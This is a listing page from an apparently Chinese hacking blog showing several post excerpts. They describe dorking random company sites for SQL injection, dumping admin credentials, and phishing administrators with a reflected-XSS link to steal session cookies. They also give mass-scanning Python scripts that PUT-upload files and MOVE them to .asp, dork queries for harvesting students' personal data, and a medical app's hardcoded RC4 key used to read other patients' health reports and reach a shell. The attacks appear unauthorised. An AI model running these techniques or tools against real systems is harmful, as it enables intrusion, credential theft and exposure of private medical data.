<
首页
关于
友链
友链申请
Search
1
小程序Appid、AppSecret泄露漏洞总结
127 阅读
2
从未授权访问到随意进出后台
89 阅读
3
无视锁屏状态安卓手机远程控制安卓手机实现远程打卡2
85 阅读
4
技术岗为什么要写博客
62 阅读
5
PDF XSS攻击总结
49 阅读
学习笔记
渗透实纪
经验总结
基础教学
工具推荐
插件
工具
想法杂谈
闲言碎语
灵光乍现
乱七八糟
生活小记
我的爱好
登录
找到
28
篇与
学习笔记
相关的结果
2025-04-01
姜太公钓鱼
寻找目标 上次写了一篇关于谷歌黑语法的文章,恰好这几天有闲时间索性就随便摸一摸。 这次找有sql注入的目标,直接一个inurl:?id= intext:公司,资产这不就来了。 逐个对这些目标进行测试。其实就是在参数后面加单引号,如果有报错就细测。弄到管理员密码就到后台找其他漏洞,就这样成功了好几个。直到遇到这个资产。 两个站 复制链接丢进bp浏览器访问时发现是另一个界面。使用http访问的是第一张图的站点,https访问的是第二张图的站点,奇怪太奇怪了。那就分开测试吧。 HTTP站点 按部就班 首先通过谷歌黑语法找到注入点:http://127.0.0.1/information.php?id=28,尝试参数后面加上一个单引号页面中的内容就消失了。 这一看就有注入啊,直接丢给sqlmap处理。 后面也都知道的,找管理员账户和配置文件看看有什么敏感信息啥的。不过最后只有管理员账号和密码有用。 既然知道了管理员账户和密码那就开始找后台吧。后续把我所有字典全都跑完了都没找到后台地址,这不就废了吗光有密码找不到入口。 那不行,不能让我时间白白浪费了。继续在找找看有没有其他的漏洞再利用一下。 用rad爬取整个站点链接,然后去掉没用链接。 在爬取的目录中有编辑器路径,后续尝试爆破目录同样没有任何反应遂放弃。 姜太公钓鱼 接下来着重对有参数的id进行测试,果不其然在其中一条链接存在反射型XSS,有XSS就好说了直接钓鱼。 http://127.0.0.1/news.php?a=bexc3&begindate=w3o77&c=x83k5&categoryid=zk5y7&email=t6h89&emailto=n3ai1&id=<script>alert('XSS')</script>&item=x3591&jsonp=d9z06&keyword=vkkv5&l=y1956&lang=lg1b7&list_btn=j52s6&month=bm864&parent_ele=qmx20&pre_btn=o3qg1&query=tktd8&token=jf6u3&view=tg8d1&waite_time=g76a0&year=yn0e4 找个XSS平台选择默认模块就足够了,主要就是用来获取管理员cookie和后台地址用的。由于平台关闭了邮箱通知功能,不能在第一时间使用有效的cookie。如果管理员长时间不操作那么获取到的cookie就会失效。所以这里需要把keepsession选上,这个功能每隔9分钟会自动访问目标来确保cookie的有效性。 测试了一下这个链接可以正常接收到数据。 众所周知每个公司的官网都有留言的地方,我们可以通过这个功能把钓鱼链接发送给后台。当管理员登录后台发现有留言肯定会点击查看。 愿者上钩(静候佳音) 等待后续补充 HTTPS站点 呦!你也在啊! 原本以为这两个站是同样的,用同样的注入点访问时站点返回File not found。嗯?这啥情况? 随便翻了翻这个站点同样存在sql注入,注入点:https://127.0.0.1/news_details.php?id=215。 两者的数据库结构差不多,管理员账号和密码都一模一样。 还在留言板中找到了其他师傅留下的信息 同样这个站点存在反射型XSS。宁可错杀一百,不可放过一个。继续钓鱼,具体操作和上面的一样这里就不展示了。
渗透实纪
xioy
2天前
0
25
0
2025-03-28
意想不到的文件上传
新世界大门 你意想不到的文件上传手法。两种手法:通过js查找文件上传接口、通过服务器回显判断能否文件上传。 文件上传接口 在js里找接口是常有的事,如果找到了上传的接口可以尝试使用以下的代码。保存到本地把目标的文件上传接口填进去就可以在本地上传文件了。 代码: <form enctype="multipart/form-data" action="此处填写文件上传接口" method="post"> 请选择要上传的文件:<br> <input type="file" name="Filedata" size="50000"><br> <input type="submit" value="Upload"> </form>探测服务器是否支持文件上传 HTTP求方法方法中OPTIONS可以获取目标支持哪些通信。 批量检测网站是否允许PUT、DELETE、MOVE请求方法 import argparse import aiohttp import asyncio import time from urllib.parse import urlparse async def check_methods(session, url, semaphore, output_file): async with semaphore: try: # 自动补全协议头 parsed = urlparse(url) if not parsed.scheme: url = 'http://' + url parsed = urlparse(url) # 如果仍然没有协议头,则使用https if not parsed.scheme: url = 'https://' + url async with session.options(url) as response: # 检查Allow或Access-Control-Allow-Methods头部 allowed_methods = response.headers.get('Allow', '') or response.headers.get('Access-Control-Allow-Methods', '') if not allowed_methods: return # 解析允许的方法并检查PUT/DELETE/MOVE allowed_methods = [method.strip().upper() for method in allowed_methods.split(',')] dangerous_methods = [] for method in ['PUT', 'DELETE', 'MOVE']: if method in allowed_methods: dangerous_methods.append(method) if dangerous_methods: print(f"\033[31m[+] 漏洞 {url} 允许危险方法: {', '.join(dangerous_methods)}\033[0m") # 实时写入文件 with open(output_file, 'a', encoding='utf-8') as f: f.write(f"{url} - 允许方法: {', '.join(dangerous_methods)}\n") else: print(f"[+] 安全 {url}: {allowed_methods}") except aiohttp.ClientError: # 如果是http失败,尝试https if not url.startswith('https://'): try: https_url = url.replace('http://', 'https://', 1) async with session.options(https_url) as response: allowed_methods = response.headers.get('Allow', '') or response.headers.get('Access-Control-Allow-Methods', '') if not allowed_methods: return allowed_methods = [method.strip().upper() for method in allowed_methods.split(',')] dangerous_methods = [] for method in ['PUT', 'DELETE', 'MOVE']: if method in allowed_methods: dangerous_methods.append(method) if dangerous_methods: print(f"\033[31m[+] 漏洞 {https_url} 允许危险方法: {', '.join(dangerous_methods)}\033[0m") # 实时写入文件 with open(output_file, 'a', encoding='utf-8') as f: f.write(f"{https_url} - 允许方法: {', '.join(dangerous_methods)}\n") else: print(f"[+] 安全 {https_url}: {allowed_methods}") except Exception: pass except Exception: pass async def process_urls(url_list, output_file, concurrency=50): # 清空或创建输出文件 with open(output_file, 'w', encoding='utf-8') as f: pass # 配置TCP连接器和超时设置 connector = aiohttp.TCPConnector(force_close=True) timeout = aiohttp.ClientTimeout(total=10) semaphore = asyncio.Semaphore(concurrency) async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session: tasks = [check_methods(session, url, semaphore, output_file) for url in url_list] await asyncio.gather(*tasks) def read_urls_from_file(file_path): with open(file_path, 'r', encoding='utf-8') as f: return [line.strip() for line in f if line.strip()] def main(): parser = argparse.ArgumentParser(description='检测目标是否允许PUT/DELETE/MOVE等危险方法') parser.add_argument('-u', '--url', help='要检测的单个URL地址') parser.add_argument('-f', '--file', help='包含多个URL的文件路径') parser.add_argument('-o', '--output', default='2.txt', help='存在漏洞的URL输出文件(默认:2.txt)') parser.add_argument('-c', '--concurrency', type=int, default=50, help='并发连接数(默认:50)') args = parser.parse_args() if not args.url and not args.file: parser.print_help() return urls = [] if args.url: urls.append(args.url) if args.file: urls.extend(read_urls_from_file(args.file)) print(f"正在检测 {len(urls)} 个URL...\n") start_time = time.time() asyncio.run(process_urls(urls, args.output, args.concurrency)) elapsed = time.time() - start_time print(f"\n检测完成! 总耗时: {elapsed:.2f}秒") print(f"存在漏洞的URL已实时保存到 {args.output}") if __name__ == '__main__': main() 如果支持PUT方法,批量写入 import argparse import aiohttp import asyncio from urllib.parse import urlparse import os async def test_put_upload(session, url, semaphore, output_file): async with semaphore: try: # 自动补全协议头并规范化URL parsed = urlparse(url) if not parsed.scheme: url = f"http://{url}" parsed = urlparse(url) # 确保路径以/结尾(避免覆盖目录) path = parsed.path if parsed.path.endswith('/') else f"{parsed.path}/" target_url = f"{parsed.scheme}://{parsed.netloc}{path}1.txt" # 尝试PUT上传 put_data = "123456" async with session.put( target_url, data=put_data, headers={'Content-Type': 'text/plain'}, timeout=aiohttp.ClientTimeout(total=10) ) as put_response: # 检查PUT是否成功 (2xx状态码) if put_response.status not in range(200, 300): print(f"[-] 上传失败 {target_url} (HTTP {put_response.status})") # 白色 return # 验证文件是否可访问 async with session.get(target_url, timeout=aiohttp.ClientTimeout(total=10)) as get_response: if get_response.status == 200 and (await get_response.text()).strip() == put_data: print(f"\033[31m[+] 成功 {target_url}\033[0m") # 红色 with open(output_file, 'a') as f: f.write(f"{target_url}\n") else: print(f"[-] 验证失败 {target_url} (HTTP {get_response.status})") # 白色 except Exception as e: print(f"[-] 错误 {url}: {str(e)}") # 白色 async def process_urls(urls, output_file, concurrency=20): # 清空或创建输出文件 with open(output_file, 'w') as f: pass # 配置HTTP客户端 connector = aiohttp.TCPConnector(force_close=True) semaphore = asyncio.Semaphore(concurrency) async with aiohttp.ClientSession(connector=connector) as session: tasks = [test_put_upload(session, url, semaphore, output_file) for url in urls] await asyncio.gather(*tasks) def main(): parser = argparse.ArgumentParser(description='测试URL是否允许PUT上传', formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('-u', '--url', help='检测单个URL') parser.add_argument('-f', '--file', help='批量检测URL文件路径') parser.add_argument('-o', '--output', default='2.txt', help='输出文件路径(默认:2.txt)') parser.add_argument('-c', '--concurrency', type=int, default=20, help='并发数(仅在-f模式下有效,默认:20)') args = parser.parse_args() # 参数校验 if not args.url and not args.file: parser.print_help() print("\n错误:必须指定-u或-f参数") return if args.url and args.file: print("错误:-u和-f参数不能同时使用") return # 准备URL列表 urls = [] if args.url: urls.append(args.url) args.concurrency = 1 # 单URL模式强制并发数为1 elif args.file: if not os.path.exists(args.file): print(f"错误:输入文件 {args.file} 不存在") return with open(args.file, 'r') as f: urls = [line.strip() for line in f if line.strip()] print(f"正在测试 {len(urls)} 个URL...") asyncio.run(process_urls(urls, args.output, args.concurrency)) print(f"\n测试完成!成功URL已保存到 {args.output}") if __name__ == '__main__': main() 上传后如果还支持MOVE方法还可以移动文件到指定目录下,并修改文件名。将根目录下的1.txt移动到/示例路径/示例路径/下,并将名字修改为1.asp MOVE /1.txt HTTP/1.1 Host: 地址 Destination: /示例路径/示例路径/1.asp
经验总结
xioy
6天前
0
20
0
2025-03-27
渗透流程总结
渗透流程 在渗透的流程中最主要的就是信息收集、渗透测试、权限提升这几步,其中信息收集是重头戏。知道目标但是不知道他的资产就没办法展开渗透。 以下内容以:假设把北京长亭科技有限公司作为目标怎么展开渗透为主题,来全方面的讲解渗透流程。 信息收集 找主域名 方法1 可以使用搜索引擎搜公司的名字可以找到公司的官网,不过有局限性目标相较于有点实力才会有官网且排名靠前。 方法2 在国内服务器开启80和8080端口时,提供服务的网站必须备案才能够运营,这些备案信息可以在ICP中查询到。我们可以使用ICP来查询目标使用过哪些域名。 方法3 还可以使用爱企查、企查查、天眼查这类的工具来收集企业信息,其中法人姓名、电话、邮箱、网址信息要整理好为后期的社会工程做准备。 有的公司体量会很大有可能会有分公司、控股和投资的情况,那么下面公司的信息也需要进行收集。 找子域名 方法1 在找主域名的方法1中假设找到了主域名,可以通过空间测绘工具:fofa、鹰图、quake来搜索他的子域名。 方法2 在找主域名的方法2中通过ICP找到了他的网站备案号,可以通过空间测绘工具:fofa、鹰图、quake来搜索有哪些网站的页面中含有这些备案号。 扩大资产范围 方法1 当掌握了目标的主域名和子域名后为了扩大资产范围还可以ping收集到的域名,每条域名有可能绑定了不同的服务器。 方法2 众所周知端口号是1-65535,通过ip再测试开放的端口资产无疑会成倍增加。 方法3 较大的公司都会有公众号或者小程序 找企业敏感信息 方法1 可以使用谷歌黑语法找企业员工的工号、姓名、密码、手机号、邮箱、用户手册、开发手册等信息 方法2 公司官网、招聘平台有时候会留有企业邮箱 渗透测试 漏洞扫描 对收集到的资产进行指纹识别、目录爆破等操作。 漏洞利用 对于通用型系统可以找历史漏洞进行尝试攻击。 爆破目标目录找系统后台,有一定的几率可以爆破到未授权访问的界面。有的公司会把项目打包放在网站目录下,或者放在github上。下载下来可以代码审计查找系统的漏洞点,账号密码啥的也能在代码里面找到。 当找到sql注入漏洞时记得把账户和密码记录下来,其他的系统有可能会使用同样的账号和密码。 社会工程 整理前期收集到敏感信息,有针对性的生成字典对信息系统进行爆破。还可以向目标的邮箱发送钓鱼邮件。胆子大点还可以线下连接目标内部网络。 内网渗透 假设你成功getshell,尽可能横向移动。如果有域想办法提权、喷洒等操作。
经验总结
xioy
3月27日
0
15
0
2025-03-26
谷歌黑语法总结
黑语法介绍 谷歌黑语法是一种强大的信息收集技术,在渗透测试中常用于信息收集、漏洞挖掘等场景。 搜索语法 语法作用site:限定搜索某个网站inurl:搜索URL含关键词的页面intext:搜索网页正文含关键词intitle:搜索标题含关键词的页面filetype:搜索特定文件类型related:查找相似网站OR逻辑“或”搜索AND逻辑“与”搜索使用案例 查找某大学的学号 site:xx.edu.cn intext:学号查找某大学的手机号文件 site:xx.edu.cn intext:手机号 filetype:PDF查找某系统的后台地址 site:xx.com inurl:admin查找日本存在注入点的站点 site:JP inurl:asp?id=查找title中含有系统且网页正文中含有欢迎字眼的登录页 intitle:系统 AND intext:欢迎 inurl:login|index
经验总结
xioy
3月26日
0
11
0
2025-03-01
磐云被黑最惨的一次
好玩 进入目标后看到数据包中的域名,复制到浏览器里可以正常使用。 一通瞎点看到返回的数据包内容全都被加密了。 加密就没办法了,那就找找接口吧。在找接口的过程中找到了一段神秘密文:wsafkb@q124129&,并且这段代码十分的不简单。看样子是把请求的数据解密后再把数据发送到服务端的过程。 知道了密钥那就解密一下数据看看效果。随机选择了一个响应数据,把密钥填进去解密后果然获得了明文数据。 点击报告查询功能,看到请求包末尾是加密后的状态解密看看。 其中mrn对应的参数中文释义是病历号,再细看他的序号是有规律的,截至目前到我这是:25年第005416份报告。 知道了病历号的规律那查看一下其他人的报告试试。bp开启拦截功能,然后修改请求包后面的加密内容,直接可以越权查看到别人的体检报告。后续尝试了一下,这个小程序所有功能点都是同样这种加解密的方式来获取数据的,这边就不一一演示了。 磐云:玩呢! 你以为到这里就结束了吗,不可能,根本停不下来。注意到响应包的头是360的磐云。众所周知防火墙都是要靠数据包内容来判断是否有威胁的,但是这个小程序的数据包内容都被加密了磐云肯定检测不出来请求是否有威胁性,但也不能排除磐云有没有单独的为这个单位经行定制适配,如果适配了那么我们在请求包中带有威胁函数的请求就会被识别并拉黑。 随机选个一功能点,bp拦截请求包,在请求里面添加一个'看看有没有sql注入漏洞 解密响应包的内容,果然有sql注入 这不就来了吗。并且能够getshell。 代码分析 以下是完整的代码 "6f54": function(e, t, n) { "use strict"; n("7a82"), Object.defineProperty(t, "__esModule", { value: !0 }), t.Decrypt = r, t.Encrypt = function(e) { var t = a.enc.Utf8.parse(e) , n = a.RC4.encrypt(t, o, { RC4_IV: i, mode: a.mode.CBC, padding: a.pad.Pkcs7 }); return n.ciphertext.toString().toUpperCase() } , t.isDecrypt = function(e) { try { r(e) } catch (t) { return !1 } return !0 } , n("d401"), n("d3b7"), n("25f0"); n("786d"); var a = n("d785") , o = a.enc.Utf8.parse("wsafkb@q124129&") , i = a.enc.Utf8.parse("wsafkb@q124129&"); function r(e) { var t = a.enc.Hex.parse(e) , n = a.enc.Base64.stringify(t) , r = a.RC4.decrypt(n, o, { RC4_IV: i, mode: a.mode.CBC, padding: a.pad.Pkcs7 }) , s = r.toString(a.enc.Utf8); return s.toString() } },其中最主要的代码是这段: var a = n("d785") , o = a.enc.Utf8.parse("wsafkb@q124129&") , i = a.enc.Utf8.parse("wsafkb@q124129&"); function r(e) { var t = a.enc.Hex.parse(e) , n = a.enc.Base64.stringify(t) , r = a.RC4.decrypt(n, o, { RC4_IV: i, mode: a.mode.CBC, padding: a.pad.Pkcs7 }) , s = r.toString(a.enc.Utf8); return s.toString() }这段代码首先定义加密库和密钥。a是加密库,o和i是密钥和初始化向量,字符串为:wsafkb@q124129&的UTF-8格式。 var a = n("d785") , o = a.enc.Utf8.parse("wsafkb@q124129&") , i = a.enc.Utf8.parse("wsafkb@q124129&");这段是定义解密函数,主要是对输入的字符串e进行解密。解密步骤:先把输入的字符串e解析为十六进制格式,再把十六进制数据转换为Base64格式。然后使用RC4算法解密,密钥为o(就是上面o定义的值),初始化向量为i,模式为CBC,填充方式为PKCS7。最后把解密结果转换为UTF-8字符串并返回。 function r(e) { var t = a.enc.Hex.parse(e) , n = a.enc.Base64.stringify(t) , r = a.RC4.decrypt(n, o, { RC4_IV: i, mode: a.mode.CBC, padding: a.pad.Pkcs7 }) , s = r.toString(a.enc.Utf8); return s.toString() }磐云 你加密数据包干什么呀?啊!你这种操作会把我的作用给异化掉的懂吗?知不知道什么叫防火墙?啊!你能说我没有起到作用吗? 我跟你打个比方啊,比如说你倒车入库。你用自动泊车功能,成功入库后,哎呀!自动泊车得了MVP!一看激光雷达天天在那,就是测距、识物。躺赢狗!激光雷达就是躺赢狗!激光雷达的评分是3.0。自动泊车一键入库省时省力对吧,13.0carry局能这样算吗?啊!你告诉我激光雷达是不是躺赢狗啊!马勒戈壁的,真是神经病! 你加密数据包干嘛呢?那不是要具体看数据包内容,看它有什么行为吗?啊!我每天检查这些加密后的数据包我都不知道里面是啥,你还说我没起到作用!傻逼啊!要不让你们开发自己开发一个防火墙来检测数据,他们又不愿意。你说我怎么保护你啊。
渗透实纪
xioy
3月1日
0
27
1
1
2
...
6
下一页